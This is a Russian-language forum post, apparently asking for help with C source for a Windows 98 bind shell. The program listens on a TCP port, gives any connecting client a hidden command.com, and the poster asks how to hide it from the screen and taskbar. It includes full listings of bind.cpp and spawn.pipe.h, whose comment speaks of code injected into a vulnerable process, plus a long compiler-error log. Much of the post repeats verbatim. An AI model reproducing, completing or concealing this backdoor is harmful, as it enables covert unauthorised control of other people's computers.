Сокеты, консольные окна .... ?
Модераторы: Duncon, Hawk, Romeo, Eugie
В общем я пишу программу которая будет давать мне возмоность
подсоединяться к удаленному компьютеру.
То есть. Я устанавливаю эту программу на своем компе. Она слушает порт
1234. Далее я подключаюсь к это му порту с удаленной машины командой
типа "netcat <IP-адрес_компа> <порт>". И после этого программа
запускает командный интерпретатор, и я могу работать с удаленной
машиной.
Я программу создаю типа Win32 Console App. При запуске программы на
экране появляется окно сеанса MS-DOS. Как можно сделать, чтобы
программы не было видно. То есть чтобы не было на панели задач и на
экране тоже, но возможно присутствие в диспетчере задач.
Программу пишу под Windows 98.
А пробовал создавать Win32 App, и переделывать под него, так он мне
столько ошибок выдает
Вот исходники программы ConsoleApp!
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h"
#define MY_PORT 1234
#define MAX_BUF_SIZE 1024
DWORD WINAPI SexToClient(void *csocket);
int main()
{
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE];
int caddr_size = sizeof(caddr);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
lsocket = socket(AF_INET, SOCK_STREAM, 0);
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))
return -1;
if (listen(lsocket, 0x100)) return -1;
// Ну это я забираю
//printf("wait for connection...\n");
while((csocket=accept(lsocket, (struct sockaddr *) &caddr,
&caddr_size)))
{
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,
AF_INET);
sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);
CreateThread(0, 0, SexToClient, (void *) &csocket, 0,
&thID);
}
closesocket(lsocket);
WSACleanup();
return 0;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
#############################################################3
------------------------------------------------------
spawn.pipe.h
------------------------------------------------------
#ifndef __SPAWN_PIPE_H__
#define __SPAWN_PIPE_H__
#define HELO "hello\n" // подтверждение связи
#define SHELL "command.com" // Командный
интерпретатор // командный
интерпретатор
#ifndef MAX_BUF_SIZE
#define MAX_BUF_SIZE 1024
#endif
int sshell(SOCKET csocket, int n)
{
char *buf; // +
//int c;
unsigned int a;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa; // +
PROCESS_INFORMATION pi;
HANDLE cstdin, cstdout, rstdout, wstdin; //pipe handles
unsigned long fexit; //process exit code
unsigned long N; //bytes read
unsigned long total; //bytes available
buf = malloc(n);
// возвращаем удаленной машине приветствие,
// подтверждая тем самым, что удаленный код успешно внедрен
// в уязвимый процесс и готов работать
send(csocket, HELO, sizeof(HELO), 0);
sa.lpSecurityDescriptor = NULL;
sa.nLength =
sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; //allow
inheritable handles
if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;
//create stdin pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;
//create stdout pipe
GetStartupInfo(&si); //set startupinfo for the spawned
process
si.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout; //set the new handles for the
child process
si.hStdInput = cstdin;
//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,
0, &si, &pi)) return -1;
while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit ==
STILL_ACTIVE))
{
//check to see if there is any data to read from stdout
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE,
&N, 0);
send(csocket, buf, N, 0);
}
}
if (!ioctlsocket(csocket, FIONREAD , &N) && N)
{
recv(csocket, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D",
1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}
CloseHandle(cstdin); //clean stuff up
CloseHandle(wstdin);
CloseHandle(cstdout);
CloseHandle(rstdout);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
#endif //__SPAWN_PIPE_H__
##################################################################
Приведу также пример Win32Api APP
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include "spawn.pipe.h"
#define MY_PORT 666 // Port
#define MAX_BUF_SIZE 1024 // Buffer
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // ЎгддҐа
int caddr_size = sizeof(caddr);
DWORD WINAPI SexToClient(void *csocket);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static char szAppName[] = "bind" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;
wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = NULL ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm = NULL ;
RegisterClassEx (&wndclass);
hwnd = CreateWindow (szAppName, // window class name
"bind",
// window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; //
creation parameters
ShowWindow (hwnd, SW_HIDE) ;
UpdateWindow (hwnd) ;
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM
lParam)
{
/*
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect ;
*/
switch (iMsg)
{
case WM_CREATE :
//MessageBox (NULL,"CREATED!!!", "SUCCESS",
MB_OK);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
//
lsocket = socket(AF_INET, SOCK_STREAM, 0);
//
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))
return -1;
//
if (listen(lsocket, 0x100)) return -1;
//printf("wait for connection...\n");
//
while((csocket=accept(lsocket, (struct sockaddr *) &caddr,
&caddr_size)))
{
//
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,
AF_INET);
//sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
//send(csocket, buff, strlen(buff), 0);
//
CreateThread(0, 0, SexToClient, (void *) &csocket, 0,
&thID);
return 0 ;
case WM_DESTROY :
closesocket(lsocket);
WSACleanup();
PostQuitMessage (0) ;
return 0 ;
}
return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}
spawn.pipe.h - такой же как и для предыдущего.
####################################################################
Errors!!!
c:\program files\microsoft visual studio\vc98\include\winsock2.h(99) :
error C2011: 'fd_set' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(134) :
warning C4005: 'FD_SET' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(83) : see previous definition of 'FD_SET'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(143) :
error C2011: 'timeval' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(199) :
error C2011: 'hostent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(212) :
error C2011: 'netent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(219) :
error C2011: 'servent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(226) :
error C2011: 'protoent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(310) :
error C2011: 'in_addr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(368) :
error C2011: 'sockaddr_in' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(378) :
error C2011: 'WSAData' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(430) :
warning C4005: 'SO_DONTLINGER' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(391) : see previous definition of
'SO_DONTLINGER'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(483) :
warning C4005: 'AF_IPX' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(449) : see previous definition of
'AF_IPX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(506) :
warning C4005: 'AF_MAX' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(468) : see previous definition of
'AF_MAX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(512) :
error C2011: 'sockaddr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(521) :
error C2011: 'sockproto' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(560) :
error C2011: 'linger' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(573) :
warning C4005: 'SOMAXCONN' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(533) : see previous definition of
'SOMAXCONN'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(598) :
warning C4005: 'FD_READ' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(551) : see previous definition of
'FD_READ'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(601) :
warning C4005: 'FD_WRITE' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(552) : see previous definition of
'FD_WRITE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(604) :
warning C4005: 'FD_OOB' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(553) : see previous definition of
'FD_OOB'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(607) :
warning C4005: 'FD_ACCEPT' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(554) : see previous definition of
'FD_ACCEPT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(610) :
warning C4005: 'FD_CONNECT' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(555) : see previous definition of
'FD_CONNECT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(613) :
warning C4005: 'FD_CLOSE' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(556) : see previous definition of
'FD_CLOSE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1427)
: error C2375: 'accept' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(707) : see declaration of 'accept'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1448)
: error C2375: 'bind' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(710) : see declaration of 'bind'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1467)
: error C2375: 'closesocket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(712) : see declaration of 'closesocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1486)
: error C2375: 'connect' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(714) : see declaration of 'connect'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1507)
: error C2375: 'ioctlsocket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(716) : see declaration of 'ioctlsocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1528)
: error C2375: 'getpeername' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(718) : see declaration of 'getpeername'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1549)
: error C2375: 'getsockname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(721) : see declaration of 'getsockname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1572)
: error C2375: 'getsockopt' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(724) : see declaration of 'getsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1593)
: error C2375: 'htonl' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(727) : see declaration of 'htonl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1610)
: error C2375: 'htons' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(729) : see declaration of 'htons'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1627)
: error C2375: 'inet_addr' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(731) : see declaration of 'inet_addr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1644)
: error C2375: 'inet_ntoa' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(733) : see declaration of 'inet_ntoa'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1662)
: error C2375: 'listen' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(735) : see declaration of 'listen'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1680)
: error C2375: 'ntohl' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(737) : see declaration of 'ntohl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1697)
: error C2375: 'ntohs' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(739) : see declaration of 'ntohs'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1717)
: error C2375: 'recv' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(741) : see declaration of 'recv'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1742)
: error C2375: 'recvfrom' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(743) : see declaration of 'recvfrom'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1768)
: error C2375: 'select' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(746) : see declaration of 'select'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1792)
: error C2375: 'send' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(749) : see declaration of 'send'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1817)
: error C2375: 'sendto' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(751) : see declaration of 'sendto'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1843)
: error C2375: 'setsockopt' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(754) : see declaration of 'setsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1865)
: error C2375: 'shutdown' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(757) : see declaration of 'shutdown'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1885)
: error C2375: 'socket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(759) : see declaration of 'socket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1908)
: error C2375: 'gethostbyaddr' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(763) : see declaration of 'gethostbyaddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1927)
: error C2375: 'gethostbyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(766) : see declaration of 'gethostbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1945)
: error C2375: 'gethostname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(768) : see declaration of 'gethostname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1964)
: error C2375: 'getservbyport' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(770) : see declaration of 'getservbyport'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1983)
: error C2375: 'getservbyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(772) : see declaration of 'getservbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2001)
: error C2375: 'getprotobynumber' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(775) : see declaration of
'getprotobynumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2018)
: error C2375: 'getprotobyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(777) : see declaration of
'getprotobyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2038)
: error C2375: 'WSAStartup' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(781) : see declaration of 'WSAStartup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2056)
: error C2375: 'WSACleanup' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(783) : see declaration of 'WSACleanup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2073)
: error C2375: 'WSASetLastError' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(785) : see declaration of
'WSASetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2090)
: error C2375: 'WSAGetLastError' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(787) : see declaration of
'WSAGetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2107)
: error C2375: 'WSAIsBlocking' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(789) : see declaration of 'WSAIsBlocking'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2124)
: error C2375: 'WSAUnhookBlockingHook' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(791) : see declaration of
'WSAUnhookBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2141)
: error C2375: 'WSASetBlockingHook' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(793) : see declaration of
'WSASetBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2158)
: error C2375: 'WSACancelBlockingCall' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(795) : see declaration of
'WSACancelBlockingCall'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2180)
: error C2375: 'WSAAsyncGetServByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(797) : see declaration of
'WSAAsyncGetServByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2207)
: error C2375: 'WSAAsyncGetServByPort' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(802) : see declaration of
'WSAAsyncGetServByPort'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2233)
: error C2375: 'WSAAsyncGetProtoByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(806) : see declaration of
'WSAAsyncGetProtoByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2258)
: error C2375: 'WSAAsyncGetProtoByNumber' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(810) : see declaration of
'WSAAsyncGetProtoByNumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2283)
: error C2375: 'WSAAsyncGetHostByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(814) : see declaration of
'WSAAsyncGetHostByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2310)
: error C2375: 'WSAAsyncGetHostByAddr' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(818) : see declaration of
'WSAAsyncGetHostByAddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2333)
: error C2375: 'WSACancelAsyncRequest' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(822) : see declaration of
'WSACancelAsyncRequest'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2353)
: error C2375: 'WSAAsyncSelect' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(824) : see declaration of
'WSAAsyncSelect'
d:\distr\mobile\work\source\chap02\bind\hellowin.c(140) : fatal error
C1004: unexpected end of file found
Error executing cl.exe.
HELLOWIN.OBJ - 59 error(s), 11 warning(s)
подсоединяться к удаленному компьютеру.
То есть. Я устанавливаю эту программу на своем компе. Она слушает порт
1234. Далее я подключаюсь к это му порту с удаленной машины командой
типа "netcat <IP-адрес_компа> <порт>". И после этого программа
запускает командный интерпретатор, и я могу работать с удаленной
машиной.
Я программу создаю типа Win32 Console App. При запуске программы на
экране появляется окно сеанса MS-DOS. Как можно сделать, чтобы
программы не было видно. То есть чтобы не было на панели задач и на
экране тоже, но возможно присутствие в диспетчере задач.
Программу пишу под Windows 98.
А пробовал создавать Win32 App, и переделывать под него, так он мне
столько ошибок выдает
Вот исходники программы ConsoleApp!
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h"
#define MY_PORT 1234
#define MAX_BUF_SIZE 1024
DWORD WINAPI SexToClient(void *csocket);
int main()
{
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE];
int caddr_size = sizeof(caddr);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
lsocket = socket(AF_INET, SOCK_STREAM, 0);
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))
return -1;
if (listen(lsocket, 0x100)) return -1;
// Ну это я забираю
//printf("wait for connection...\n");
while((csocket=accept(lsocket, (struct sockaddr *) &caddr,
&caddr_size)))
{
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,
AF_INET);
sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);
CreateThread(0, 0, SexToClient, (void *) &csocket, 0,
&thID);
}
closesocket(lsocket);
WSACleanup();
return 0;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
#############################################################3
------------------------------------------------------
spawn.pipe.h
------------------------------------------------------
#ifndef __SPAWN_PIPE_H__
#define __SPAWN_PIPE_H__
#define HELO "hello\n" // подтверждение связи
#define SHELL "command.com" // Командный
интерпретатор // командный
интерпретатор
#ifndef MAX_BUF_SIZE
#define MAX_BUF_SIZE 1024
#endif
int sshell(SOCKET csocket, int n)
{
char *buf; // +
//int c;
unsigned int a;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa; // +
PROCESS_INFORMATION pi;
HANDLE cstdin, cstdout, rstdout, wstdin; //pipe handles
unsigned long fexit; //process exit code
unsigned long N; //bytes read
unsigned long total; //bytes available
buf = malloc(n);
// возвращаем удаленной машине приветствие,
// подтверждая тем самым, что удаленный код успешно внедрен
// в уязвимый процесс и готов работать
send(csocket, HELO, sizeof(HELO), 0);
sa.lpSecurityDescriptor = NULL;
sa.nLength =
sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; //allow
inheritable handles
if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;
//create stdin pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;
//create stdout pipe
GetStartupInfo(&si); //set startupinfo for the spawned
process
si.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout; //set the new handles for the
child process
si.hStdInput = cstdin;
//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,
0, &si, &pi)) return -1;
while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit ==
STILL_ACTIVE))
{
//check to see if there is any data to read from stdout
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE,
&N, 0);
send(csocket, buf, N, 0);
}
}
if (!ioctlsocket(csocket, FIONREAD , &N) && N)
{
recv(csocket, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D",
1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}
CloseHandle(cstdin); //clean stuff up
CloseHandle(wstdin);
CloseHandle(cstdout);
CloseHandle(rstdout);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
#endif //__SPAWN_PIPE_H__
##################################################################
Приведу также пример Win32Api APP
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include "spawn.pipe.h"
#define MY_PORT 666 // Port
#define MAX_BUF_SIZE 1024 // Buffer
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // ЎгддҐа
int caddr_size = sizeof(caddr);
DWORD WINAPI SexToClient(void *csocket);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static char szAppName[] = "bind" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;
wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = NULL ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm = NULL ;
RegisterClassEx (&wndclass);
hwnd = CreateWindow (szAppName, // window class name
"bind",
// window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; //
creation parameters
ShowWindow (hwnd, SW_HIDE) ;
UpdateWindow (hwnd) ;
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM
lParam)
{
/*
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect ;
*/
switch (iMsg)
{
case WM_CREATE :
//MessageBox (NULL,"CREATED!!!", "SUCCESS",
MB_OK);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
//
lsocket = socket(AF_INET, SOCK_STREAM, 0);
//
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))
return -1;
//
if (listen(lsocket, 0x100)) return -1;
//printf("wait for connection...\n");
//
while((csocket=accept(lsocket, (struct sockaddr *) &caddr,
&caddr_size)))
{
//
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,
AF_INET);
//sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
//send(csocket, buff, strlen(buff), 0);
//
CreateThread(0, 0, SexToClient, (void *) &csocket, 0,
&thID);
return 0 ;
case WM_DESTROY :
closesocket(lsocket);
WSACleanup();
PostQuitMessage (0) ;
return 0 ;
}
return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}
spawn.pipe.h - такой же как и для предыдущего.
####################################################################
Errors!!!
c:\program files\microsoft visual studio\vc98\include\winsock2.h(99) :
error C2011: 'fd_set' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(134) :
warning C4005: 'FD_SET' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(83) : see previous definition of 'FD_SET'
